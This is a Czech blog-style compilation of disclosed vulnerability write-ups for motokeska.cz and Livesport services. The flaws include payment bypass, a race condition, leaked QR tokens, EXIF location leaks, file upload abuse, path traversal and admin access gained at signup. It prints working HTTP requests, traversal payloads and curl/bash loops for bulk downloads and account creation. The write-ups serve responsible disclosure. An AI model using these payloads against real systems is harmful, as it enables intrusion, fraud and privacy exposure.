Na webu motokeska.cz byl proveden cílený bezpečnostní audit, a to na základě výslovného souhlasu správce systému. Audit probíhal bez jakýchkoli zvláštních oprávnění a simuloval reálného útočníka bez přístupu zevnitř.

Napříč čtyřmi různými plochami útoku bylo identifikováno pět zranitelností:

• Voucher kódy jsou vydávány ještě před dokončením platby, což umožňuje generovat neomezené množství voucherů zdarma
• Race condition v endpointu pro uplatnění voucheru umožňuje jedním voucherem aktivovat více tras
• Tokeny z QR keší jsou dostupné přes veřejné API, což umožňuje podvod se soutěží o ceny bez fyzické návštěvy míst
• Server přijímá nahrání libovolného souboru kvůli nedostatečné validaci obsahu
• Uživatelské profilové fotky si ponechávají EXIF metadata, která mohou prozradit GPS souřadnice

Všechny nálezy byly zodpovědně nahlášeny vlastníkovi domény, který chyby potvrdil a udělil souhlas s publikováním tohoto článku.

Vouchery zdarma: jak přeskočit platbu

Popis

Motokeska.cz umožňuje uživatelům zakoupit vouchery, které odemykají placené trasy, a to na stránce nákupu voucherů.
Nákupní proces je přímočarý – uživatel vyplní e-mail, zvolí typ voucheru a přejde k platbě přes bránu GoPay.

V čem je problém? Server vygeneruje a vrátí platný voucher kód ještě před dokončením platby.
Při zahájení nákupu prohlížeč volá následující API endpoint:

POST /api/payments/coupon-payment HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Content-Type: application/json

{"email":"hacker@evil.com","coupon_type":"single","year":2026}

Server okamžitě odpoví plně platným voucher kódem:

HTTP/2 200 OK  
Content-Type: application/json
  
{  
  "gw_url":"https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000",
  "id":1234567890,
  "coupon_code":"MOTO-ABCD123"
}

Pole coupon_code v odpovědi je okamžitě uplatnitelné – bez ohledu na to, zda uživatel platbu vůbec kdy dokončí. URL platební brány (gw_url) je v odpovědi přítomné, ale server před vydáním kódu nikdy nečeká na potvrzovací callback od GoPay. Generování voucheru a platba jsou tak od sebe fakticky oddělené.

To znamená, že tento endpoint lze volat opakovaně a generovat neomezené množství platných voucherů zdarma.

Náprava

Voucher kódy by měly být generovány až po přijetí ověřeného potvrzení o platbě (callbacku) z platební brány. Server nesmí nikdy zahrnout voucher kód do počáteční odpovědi při vytvoření platby – kód by měl být vydán teprve poté, co je úspěšná platba potvrzena na straně serveru.

Jeden voucher, neomezeně tras: zneužití race condition

Popis

Motokeska.cz umožňuje přihlášeným uživatelům uplatňovat voucher kódy přes jejich profilovou stránku. Každý voucher je zamýšlen jako jednorázový a měl by odemknout přesně jednu placenou trasu.

Uplatnění obsluhuje endpoint /api/coupons/redeem. Standardní požadavek vypadá takto:

POST /api/coupons/redeem HTTP/2  
Host: api-dot-motokeska.ew.r.appspot.com  
Authorization: Bearer <JWT>  
  
{"code":"MOTO-ABCD123","voucher_type":"single","selected_route":{"year":2026,"type":"main","number":"05"}}

Pokud je stejný voucher uplatněn sekvenčně na druhou trasu, server jej správně odmítne:

Tento voucher byl již použit. Každý voucher lze uplatnit pouze jednou.

Pokud je ale odesláno více požadavků na uplatnění souběžně – každý cílící na jinou trasu úpravou parametru selected_route.number – dostanou se všechny požadavky na server dřív, než je voucher označen jako použitý. Každý požadavek uspěje nezávisle a odemkne jinou placenou trasu se stejným voucher kódem.

Náprava

Endpoint pro uplatnění musí voucher ověřit a označit jako použitý v jediné atomické operaci – ne ve dvou samostatných krocích. Transakce na úrovni databáze s pesimistickým zámkem (např. SELECT FOR UPDATE) zajistí, že jakmile první požadavek přečte stav voucheru, žádný souběžný požadavek jej nemůže přečíst, dokud první požadavek nedokončí zápis. Každý požadavek, který dorazí v době, kdy je zámek držen, by měl dostat chybovou odpověď, nikoli úspěch.

Dokonči trasu bez opuštění domova: jak podvádět ve hře přes API

Popis

Motokeska je hra v reálném světě. Hráči zakoupí trasu, dojedou (autem či na motorce) k fyzickým místům a naskenují QR kódy zabudované v kovových štítcích rozmístěných po krajině. Takový štítek vypadá takto:

Naskenování QR kódu na takovém štítku přesměruje hráče na URL ve formátu:

https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV

Parametr token je to, co dokazuje, že jste byli fyzicky na daném místě. Je to hlavní herní mechanika a vstupenka do slosování o ceny.

Problém je, že tyto tokeny jsou dostupné přes veřejný API endpoint. Kdokoli je může získat, aniž by opustil svůj stůl.

Následující požadavek vrátí všechna data o keších pro danou trasu, včetně hodnot token, které jsou normálně získatelné pouze fyzickou návštěvou místa a naskenováním štítku:

GET /api/caches?route_id=12&year=2026 HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer <JWT>

Odpověď obsahuje token pro každou keš na trase:

HTTP/2 200 OK
Content-Type: application/json

[
  {
    "id": 42,
    "route_id": 12,
    "name": "Cache #1",
    "qr_code_token": "JyOz6oe4gC602nRCW2bV",
    "gps_lat": 49.8175,
    "gps_lon": 13.4734
  },
  ...
]

S těmito tokeny v ruce může útočník sestavit platné požadavky na potvrzení keše a odeslat je, jako by každé místo navštívil – dokončit celou trasu z domova, získat body a zúčastnit se slosování o ceny, aniž by kdy nastartoval motor.

Náprava

Pole qr_code_token nesmí být nikdy vráceno přes API dříve, než byla keš fyzicky naskenována. Token by měl být použit pouze na straně serveru k ověření příchozího požadavku o naskenování – nemá žádný legitimní důvod být odesílán klientovi předem.

Vaše profilová fotka může prozradit vaši polohu

Popis

Motokeska.cz umožňuje uživatelům nastavit si profilovou fotku. Co by většina uživatelů nečekala, je to, že jejich fotka může nenápadně prozradit, kde bydlí.

Když uživatel nahraje profilovou fotku, obrázek se uloží do veřejně přístupného Google Cloud Storage bucketu bez jakékoli sanitizace metadat. To znamená, že pokud nahraná fotka obsahuje EXIF metadata – jako většina fotek z chytrých telefonů – tato metadata zůstanou zachována a jsou dostupná komukoli, kdo si soubor stáhne.

Bucket lze procházet přímo přes storage endpoint, aniž by se aplikace vůbec použila:

https://storage.googleapis.com/motokeska-user-images?prefix=profile-images

To vrátí seznam všech uložených objektů, které lze následně hromadně stáhnout:

burl='https://storage.googleapis.com/motokeska-user-images/'
curl -s https://storage.googleapis.com/motokeska-user-images \
  | rg -oPN '(?<=<Key>).*?(?=</Key>)' > keys.list

for key in $(cat keys.list); do
  curl -s -O "${burl}${key}"
done

Některé z nahraných fotek:

Po stažení lze obrázky prozkoumat nástrojem exiftool. Pokud autor před nahráním metadata neodstranil, může fotka prozradit místo, kde byla pořízena. Příklad z iPhonu:

  [ExifIFD]   LensModel                  : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9
  [GPS]       GPSLatitude                : 50 deg 5' 11.04"
  [GPS]       GPSLongitude               : 14 deg 24' 35.88"
  [GPS]       GPSAltitude                : 187.0396476 m

Selfie pořízené doma a použité jako profilová fotka právě prozradilo domácí adresu uživatele komukoli, kdo ví, kde hledat.

Náprava

Z nahraných obrázků by měla být před uložením odstraněna veškerá metadata. To lze provést na straně serveru pomocí nástrojů jako exiftool, ImageMagick, nebo přeuložením (re-encode) obrázku přes knihovnu pro zpracování obrázků – což zároveň slouží jako další vrstva obrany proti poškozeným či škodlivým nahráním.

Nahrát cokoli: když server věří příliš

Popis

Motokeska.cz umožňuje uživatelům nahrát profilovou fotku přes jejich profilovou stránku. Server má přijímat pouze obrázky – jenže validaci lze triviálně obejít.

Endpoint pro nahrávání kontroluje pouze hlavičku Content-Type požadavku. Pokud hlavička začíná na image/, je soubor přijat – bez ohledu na to, co soubor ve skutečnosti obsahuje. Útočník může nahrát jakýkoli soubor prostým nastavením hlavičky na image/jpeg, zatímco odešle úplně jiná data:

POST /api/users/123/profile-image HTTP/2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary
Content-Disposition: form-data; name="profileImage"; filename="image.png"
Content-Type: image/javascript

Server nahrání přijme a uloží soubor do veřejně přístupného Google Cloud Storage bucketu s příponou odvozenou z dodaného Content-Type – nikoli ze skutečného obsahu souboru.

Ve stejném endpointu se skrývá ještě druhý problém. Název souboru uloženého v bucketu je odvozen z uživatelského ID v cestě požadavku. Přidání úvodních nul k uživatelskému ID vytvoří jiný název souboru, přičemž server stále požadavek přijme jako platný:

To znamená, že útočník může nahrát neomezené množství souborů do důvěryhodného Google Cloud Storage bucketu – bucketu, který může být zařazen na whitelist jinými systémy nebo CSP politikami – jednoduše zvyšováním počtu úvodních nul.

Náprava

Hlavičky Content-Type jsou pod kontrolou uživatele a nesmí být nikdy důvěryhodné jako jediný validační mechanismus. Server by měl prozkoumat skutečný obsah souboru pomocí validace magic bytes a odmítnout cokoli, co neodpovídá známému formátu obrázku. Identifikátor uživatele v cestě pro nahrání musí být před použitím normalizován – úvodní nuly by měly být odstraněny a výsledné ID ověřeno vůči přihlášenému uživateli. Vynucení jednoho aktivního profilového obrázku na uživatele nahrazováním existujících souborů namísto vytváření nových by rovněž odstranilo vektor zneužití úložiště.

Časová osa zveřejnění

9. března 2026 – požádáno o svolení vlastníka motokeska.cz (David Král) k provedení bezpečnostního testování
27. března 2026 – podmínky přezkoumány a upřesněny
6. června 2026 – osobní schůzka, vysvětlení, doporučení
7. června 2026 – report zaslán vlastníkovi motokeska.cz
9. června 2026 – článek publikován

Odměna

Pro motokeska.cz neexistuje žádný bug bounty program a o žádnou odměnu nebylo žádáno. Report byl sdílen dobrovolně. Tým motokeska.cz zcela z vlastní iniciativy zaslal odměnu ve výši 20 000 Kč.

Zranitelnost typu Directory Traversal byla identifikována a zodpovědně nahlášena prostřednictvím oficiálního bug bounty programu společnosti Livesport. Zranitelnost se nacházela na https://lsid.eu, což je služba, která tvoří klíčovou součást https://livesport.cz, protože jde o Node JS server pro registrace, přihlašování a správu uživatelských dat.

Pokud se tedy chceme přihlásit ke svému účtu na https://livesport.cz, jeden z požadavků odeslaných na LSID by vypadal takto:

POST /v3/login HTTP/1.1
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.livesport.cz/
Content-Type: text/plain;charset=UTF-8
Content-Length: 131
Origin: https://www.livesport.cz
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
    
{"email":"aaa@x.cc","password":"password","namespace":"flashscore","project":1}

Některé další API endpointy, které jsou součástí LSID:

/v2/login
/v2/registration
/v2/logout
/v3/login
/v3/termsagree
/v3/verification
/v4/getdata
/v5/users/me/marketing-approval
/v5/users/me/terms
\[...\]

Popis

Navzdory ochranám a validačním mechanismům, které se zdály být na serveru implementovány, bylo přesto možné libovolně procházet soubory a adresáře pod cestou /home/fsnodeuser/app/*.

To umožnilo přístup k souborům jako:

• package.json
• package-lock.json

Stejně jako k různým adresářům jako:

• node_modules
• dist
• lib

a dalším.

Konkrétně soubor package.json odhalil metadata projektu a informace o jeho závislostech, včetně interních závislostí jako @flashscore/<name>, které jsou nutné pro běh aplikace v produkčním prostředí. Soubor rovněž obsahoval informace související s buildem, včetně umístění interního NPM registru, přispěvatelů a domovské stránky, ze které bylo možné projekt stáhnout.

Write-up

Přešel jsem na URL https://lsid.eu

Poté jsem ji profuzzoval nástrojem ffuf a zjistil, že adresář /public je přístupný, i když se zdá být špatně nakonfigurovaný, protože vrací 500 Internal Server Error.

A pokud se například odešle následující požadavek, server vrátí úplnou cestu a uživatelské jméno opět naznačuje, že aplikace běží na Node.js

Požadavek je možné upravit přidáním sekvencí path traversal ../ a přesunout se do adresáře /home/fsnodeuser/app, což pak umožňuje procházet soubory a adresáře patřící aplikaci. V níže uvedeném příkladu byl získán obsah souboru package.json.

Request:

GET /public/a/../../package.json HTTP/2
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Response:

HTTP/2 200 OK
Date: Sun, 09 Feb 2025 22:58:03 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
6,51,34,44,10,9,34,100,101,115,

[...]

Odpověď obsahující výstup Bufferu je v obou případech (package.json i package-lock.json) poměrně dlouhá, takže jsem se rozhodl zahrnout jen částečný výřez. Protože každé číslo v poli data odpovídá ASCII hodnotě znaku ze souboru package.json, lze jej převést do čitelné JSON reprezentace.

Addendum:

Souhrn souborů objevených v /home/fsnodeuser/app:

• package.json
• package-lock.json

Objevené adresáře:

• dist
• node_modules/

Jak lze identifikovat existující adresáře – příklad: node_modules

Request:

GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
Host: lsid.eu

Response:

HTTP/2 500 Internal Server Error
Date: Tue, 20 Aug 2024 10:10:12 GMT
Content-Type: application/json; charset=UTF-8
X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"code":0,"message":"Error reading file: \"/node_modules \".","name":"InternalServerError"}

Ačkoli server vrací chybovou zprávu – „500 Internal Server Error“ – prozrazuje nám, že adresář existuje, takže s tím lze v dalších krocích pracovat. Vezměme tedy Buffer z předchozí odpovědi a převeďme jej do čitelného formátu, abychom získali soubor package.json:

#!/usr/bin/env python3

import json

buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]

json_string = ''.join(chr(byte) for byte in buffer_data)
parsed_json = json.loads(json_string)
print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON

Čitelná verze souboru package.json pro lsid.eu (některé části byly záměrně „redigovány“):

{
"name": "lsid",
"version": "x.x.x",
"templateVersion": "x.x.x",
"description": "Node JS server for registrations, logins and managing user
data."
,
"keywords": [
"livesport",
"service"
,
"LSID",
"nodejs",
"typescript"
],
"files": [
"js"
],
"publishConfig": {
"registry": "xxxx"
},
"license": "UNLICENSED",
"author": "xxx Node Team <xxxx@livesport.eu> (https://xxx.atla
ssian.net/xxxxxxxx)",
"contributors": [
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>"
],
"main": "./dist/index.js",
"homepage": "https://...",
"repository": {
"type": "git",
"url": "git@..."
},
"engines": {
"node": ">=v20.11.1"
},
"scripts": {
"audit": "npm audit --registry=https://registry.npmjs.org/",
"audit-fix": "npm run audit -- fix",
"audit-prod": "npm run audit -- --production",
"build": "tsc -p tsconfig.build.json",
ci --registry=https://..../ && npm run build-dt",
"build-dev": "tsc -p tsconfig.dev.json && npm run postbuild",
"build-dev-watch": "tsc -p tsconfig.dev.json && (concurrently \"tsc -w\"
\"tsc-alias -w\")",
......
,
"build-dt": "npm run build -- -p tsconfig.json",
"build-prod": "npm run build -- -p tsconfig.prod.json",
"check-circular-dependencies": "npx madge -c --extensions ts --ts-confi

[...]

},
"dependencies": {
"@flashscore/redacted-core": "^3.0.1",

[...]

},
"devDependencies": {

[...]

}
}

V sekci dependencies je mnoho zajímavých in-house závislostí @flashscore. Pro účely tohoto příspěvku ale vezmu @flashscore/redacted-core

Získání package.json

GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
Host: lsid.eu

Odpověď je stejně jako v předchozím případě „Buffer“, takže je potřeba ji opět převést do čitelného formátu:

HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:09:12 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
5,104,115,99,111,114,101,47,115,101,

[...]

Převedený package.json

{
"name": "@flashscore/redacted-core"
,
"version": "3.0.1",
"description": "Package includes base classes for FS Node Team microservice projects."
,
"keywords": [
"core"
,
"service"
,
"classes",
"livesport",
"flashscore"
,
"javascript",
"typescript"
],
"publishConfig": {
"registry": "...."
},
"license": "UNLICENSED",
"author": "....)",
"contributors": [

[...]

],
"main": "./dist/index.js",
"exports": {
"
.": "./dist/index.js",
"./repositories/*": "./dist/lib/repositories/*/index.js"
},
"types": "./dist/index.d.ts",
"typesVersions": {
"*": {
"index.d.ts": [
"./dist/index.d.ts"
],
"repositories/*": [
"./dist/lib/repositories/*/index.d.ts"
]
}
},
"homepage": "....",
"repository": {
"type": "git",
"url": "git@...."
},
"engines": {
"node": ">=..."
},
"scripts": {},
"dependencies": {
"@flashscore/........
},
"peerDependencies": {
"@flashscore/.......
},
"peerDependenciesMeta": {
"@flashscore/.....": {
"optional": true
},
"knex": {
"optional": true
}
},
"devDependencies": {
"@commitlint/cli": "^......
"@flashscore/.......[...]
}
}

Je možné získat informace jak o autorech, tak popis toho, k čemu daná závislost slouží, a také jaké další závislosti může používat. Tímto způsobem lze tento postup opakovat pro každou závislost a získat informace o jakýchkoli interních
závislostech a hledat natvrdo zakódované přihlašovací údaje, tajemství, klíče, interní URL nebo citlivé informace.

V případě @flashscore/redacted-core byl objeven tento soubor tsconfig.test.json:

GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:07:48 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}

Převedeno na:

{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": true
}
}

sourceMap je nastaveno na true. Tato informace by mohla být užitečná při fuzzingu JavaScriptu, kde by bylo možné automaticky testovat přípony .map a zjišťovat, zda odhalují nějaké potenciálně zranitelné části kódu nebo citlivé implementační detaily.

I na lsid.eu je možné procházet závislosti třetích stran jako knex, lodash, mysql2, pino atd. a zkoumat jednotlivé soubory, abychom zjistili, zda obsahují nějaké vlastní konfigurace nebo nastavení nutná pro správný chod aplikace Livesport/Flashscore.

Jeden další zajímavý příklad byl tento redis-client

Request:

GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:45:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
Strict-Transport-Security: max-age=31536000; includeSubDomains

export * from './lib';

V tomto případě zde byl také soubor docker-compose.yml

Request:

GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:46:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 210
X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
Strict-Transport-Security: max-age=31536000; includeSubDomains

services:
redis:
image: <aaaa>/redis:test
restart: 'no'
ports:
- '6378:6379'
expose:
- '6378'

Časová osa

• 10. února 2025: Zranitelnost byla nahlášena přes https://bugbounty.livesport.eu/
• 10. února 2025: Tentýž den mě tým Product Security IRT společnosti Livesport informoval, že report obdrželi a budou jej dále zpracovávat.
• 17. února 2025: Zranitelnost byla vyhodnocena jako platná a byl jsem informován, že už byla opravena.
• 11. dubna 2025: $500.00 odměna a 7 bodů do Hall of Fame na https://bugbounty.livesport.eu/

Zkoumal jsem některé služby Livesportu a všiml si něčeho podivného na tom, jak funguje registrace uživatelů na dvou jejich subdoménách – bonusy.livesport.cz a soutez.livesport.cz. To, co začalo jako celkem rutinní nález o špatně zabezpečeném registračním endpointu, rychle eskalovalo: stejná chyba v registraci se ukázala být vstupním bodem k plnému administrátorskému přístupu na obou subdoménách. Jedna mi umožnila manipulovat s výpisy bonusů na sázení zobrazovanými všem uživatelům, druhá mi umožnila zmanipulovat výsledky soutěže Euro 2024.

Všechny nálezy byly nahlášeny bezpečnostnímu týmu Livesportu, obratem opraveny a odměněny prostřednictvím jejich bug bounty programu. Tento writeup pokrývá celý řetězec napříč všemi třemi reporty.

Poznámka ke klasifikaci: Problém s řízením přístupu je technicky nejlépe popsán jako privilege misassignment at registration – noví uživatelé získali administrátorský přístup bez jakéhokoli eskalačního kroku. V praxi většina bug bounty programů a taxonomie OWASP Broken Access Control (A01:2025) řadí tento případ pod Vertical Privilege Escalation, a přesně tak byl i nahlášen a přijat. Pokud si píšete vlastní reporty, vyplatí se o té nuanci vědět.

Cíl

Obě dotčené aplikace jsou postavené na platformě Bubble, no-code platformě, která překládá frontendové interakce na API volání proti backendovému runtime. Bubble vystavuje sadu standardních endpointů pro správu uživatelů (/user/signup, /user/login, /user/hi, atd.) a endpoint pro spouštění workflow (/workflow/start), který řídí server-side business logiku. Pochopení této základní platformy se ukázalo být klíčové pro všechny nálezy.

Obě subdomény měly odlišný účel, ale sdílely stejný základ v Bubble a, jak se ukázalo, i stejné bezpečnostní chyby v konfiguraci:

• bonusy.livesport.cz – srovnávací stránka bonusů pro české sázkové operátory (Tipsport, Fortuna, Betano, Chance), zobrazující vkladové bonusy, nabídky free betů a affiliate CTA.
• soutez.livesport.cz – soutěžní platforma navázaná na Euro 2024, umožňující uživatelům tipovat výsledky zápasů o možnost vyhrát ceny.

Nálezy

#1: Nezabezpečený registrační endpoint

Dotčené URL: https://bonusy.livesport.cz · https://soutez.livesport.cz

Popis

Při mapování útočné plochy obou aplikací jsem si všiml, že Bubble-standardní endpoint /user/signup je veřejně dostupný a přijímá registrace bez jakékoli smysluplné validace. Nakupily se na sebe tři problémy:

1. Žádné ověření e-mailu – účty byly vytvořeny a okamžitě aktivní; žádný potvrzovací odkaz, žádná výzva.
2. Slabá politika hesel – endpoint akceptoval heslo dlouhé i jediný znak.
3. Žádný rate limiting – nic nebránilo automatizovanému hromadnému vytváření účtů.

Proof of Concept

Objevování bylo postupné. Zavolání endpointu bez parametrů vrátilo popisnou chybu:

GET /user/signup HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{"message":"NO_EMAIL","translation":"Prosím zadejte email"}

Přidání e-mailu, ale bez hesla:

GET /user/signup?email=test2@qwerty.com HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{"message":"NO_PASSWORD","translation":"Prosím zadejte heslo"}

A s obojím – úspěch, s jednoznakovým heslem:

GET /user/signup?email=test2@qwerty.com&password=a HTTP/2
Host: bonusy.livesport.cz

HTTP/2 200 OK
"1718007830927x469356327557668000"

Odpověď vrátila interní ID nového uživatele a session cookies byly okamžitě nastaveny a platné.

Hromadné vytváření účtů

Pro potvrzení absence rate limitingu jsem napsal rychlý Bash skript:

#!/bin/bash
for i in {1..10}; do
  email="testuser$i@qwerty.com"
  password="a"
  curl -X GET "https://bonusy.livesport.cz/user/signup?email=$email&password=$password"
done

Všech deset účtů bylo vytvořeno v rychlém sledu bez jakéhokoli omezování nebo blokování. Záměrně jsem se zastavil u deseti (s dohledatelným rozsahem testuser1-10@qwerty.com), aby bylo možné účty v databázi snadno najít a smazat.

Enumerace účtů

Užitečný vedlejší efekt popisných chybových hlášení: opětovná registrace již obsazeného e-mailu vrátila odlišnou chybu USED_EMAIL, což umožňovalo snadno zjistit, zda je daná adresa na platformě zaregistrovaná.

HTTP/2 400 Bad Request
{"message":"USED_EMAIL","translation":"Tento email se již používá: testuser3@qwerty.com"}

Dopad

• Enumerace účtů – útočník může zjistit, které e-mailové adresy mají registrované účty.
• Slabá politika hesel – triviální brute-force proti jakémukoli účtu, jehož e-mail je známý.
• Hromadné vytváření účtů – spam, zneužití kvót na uživatele a potenciální vyčerpání zdrojů.

Samo o sobě jde o nález střední závažnosti. V kombinaci s nálezy #2 a #3 níže se závažnost výrazně násobí.

#2: Vertical Privilege Escalation na bonusy.livesport.cz

Dotčené URL: https://bonusy.livesport.cz

Popis

Po registraci testovacího účtu na bonusy.livesport.cz přes nechráněný registrační endpoint jsem prozkoumal, k čemu má daný účet přístup. Admin panel na https://bonusy.livesport.cz/admin/ se ukázal být plně přístupný – s kompletními právy pro čtení, zápis a mazání nad všemi výpisy bonusů na webu.

Datový model uživatele potvrdil, že účet neměl žádnou zvláštní roli. Volání /api/1.1/init/data ukázalo _type: "user" bez admin příznaku, členství ve skupině nebo jakéhokoli povýšeného atributu. Navzdory tomu byl admin panel i všechna jeho workflow volně přístupné a plně funkční.

Proof of Concept

Pomocí testovacího účtu bugbounty01@qwerty.com vytvořeného přes /user/signup proběhlo přihlášení do admin panelu okamžitě. Uvnitř admin panelu na https://bonusy.livesport.cz/admin/ jsem měl přístup k:

• Úplnému seznamu všech aktuálních výpisů bonusů s ovládacími prvky pro úpravu a smazání každé položky
• Tlačítku Create Bonus pro přidání nových výpisů

Přihlášení do administrace.

Viděl jsem všechny dostupné bonusy.

Mohu libovolně upravovat kterýkoli ze stávajících bonusů (Tipsport – Free 500 CZK for your first bets). Případně je zde ikona „koše“, což znamená, že mohu jakýkoli bonus zároveň smazat.

Nebo je možné vytvořit zcela nový bonus pomocí tlačítka „Create Bonus“.

Čistě pro účely proof-of-conceptu jsem si dovolil vytvořit nový bonus s názvem „Test Bonus – Non-functional“, abych potvrdil výše uvedené tvrzení, že vše lze skutečně libovolně upravovat. URL jsem nastavil na https://livesport.cz, takže pokud jej „náhodou“ navštívíte, budete v nejhorším případě přesměrováni na váš hlavní web.

Bonus vytvořen.

Dopad

Dopad je zde závažnější, než by se zprvu mohlo zdát. Útočník s tímto přístupem by mohl:

• Manipulace obsahu pro phishing: Upravit CTA URL stávajících výpisů bonusů tak, aby přesměrovávaly uživatele na phishingové stránky ovládané útočníkem. Stránka bonusy.livesport.cz je důvěryhodná služba Livesportu, takže uživatelé klikající na tlačítko „Tipsport - 500 Kč zdarma“ by neměli důvod tušit, že cíl byl podměněn.

• Vytváření falešných bonusů: Vytvořit zcela smyšlené, vysoce atraktivní bonusy pro maximalizaci prokliků na škodlivou URL – zneužitím důvěry, kterou uživatelé vkládají do značky Livesport.

• Ničení obsahu: Smazat všechny stávající výpisy a narušit tak základní funkci stránky.

Zejména phishingový vektor představuje významné riziko pro koncové uživatele, nejen pro Livesport z provozního hlediska.

#3: Vertical Privilege Escalation na soutez.livesport.cz

Dotčené URL: https://soutez.livesport.cz

Popis

Stejná chyba v konfiguraci byla přítomná i na soutěžní subdoméně. Po registraci přes /user/signup byl admin panel na https://soutez.livesport.cz/admin/ plně přístupný. V tomto případě byly v sázce jiné věci: admin panel ovládal losování soutěže Euro 2024.

Proof of Concept

Testovací účet bugbounty02@qwerty.com byl zaregistrován a použit k autentizaci proti admin panelu přes POST /workflow/start. Server vrátil "outcome":"success" a session byla ustanovena.

Úspěšně jsem se přihlásil do admin panelu. Uvnitř panelu Administrace Soutěže byla v té době aktivní soutěž tipovací na zápas Německo vs. Skotsko (14. června 2024, 21:00) s 30 odeslanými tipy a dostupným a funkčním tlačítkem Vylosovat. S funkcí losování jsem neinteragoval. Zastavil jsem se u potvrzení přístupu, zdokumentoval jej a okamžitě nahlásil.

V době, kdy jsem tento report odesílal Livesportu, tato anketa běžela.

Dopad

Celý řetězec zneužití s využitím nálezů #1 a #3 dohromady:

1. Zaregistrovat více účtů přes nechráněný endpoint /user/signup – bez limitu, bez ověření.
2. Odeslat z každého účtu soutěžní tipy a maximalizovat tak podíl tipů patřících útočníkovi.
3. Přihlásit se do admin panelu s kterýmkoli z týchž účtů.
4. Spustit losování výherce ve chvíli, která maximalizuje šanci, že bude vybrán jeden z vlastních tipů – nebo prostě počkat a losování zopakovat, pokud výsledek není příznivý (podle toho, jak je losovací workflow implementováno).

Každou budoucí soutěž na této platformě by bylo možné zmanipulovat a vyhrát na počkání. Kombinace hromadného vytváření účtů a přístupu k admin losování z toho udělala kompletní selhání integrity soutěže.

Časová osa

• 14. června 2024: Nezabezpečený registrační endpoint a Vertical Privilege Escalations nahlášeny přes https://bugbounty.livesport.eu/
• 14. června 2024: Vendor potvrdil přijetí všech reportů ještě téhož dne a zranitelnosti byly vyhodnoceny jako platné.
• 7. srpna 2024: Bohužel byly obě subdomény oficiálně out-of-scope, ale nálezy se jim líbily a odměnili je částkou $200.00 a 10 body. Oba weby byly stránky třetích stran vytvořené přes Bubble.io jejich dodavatelem.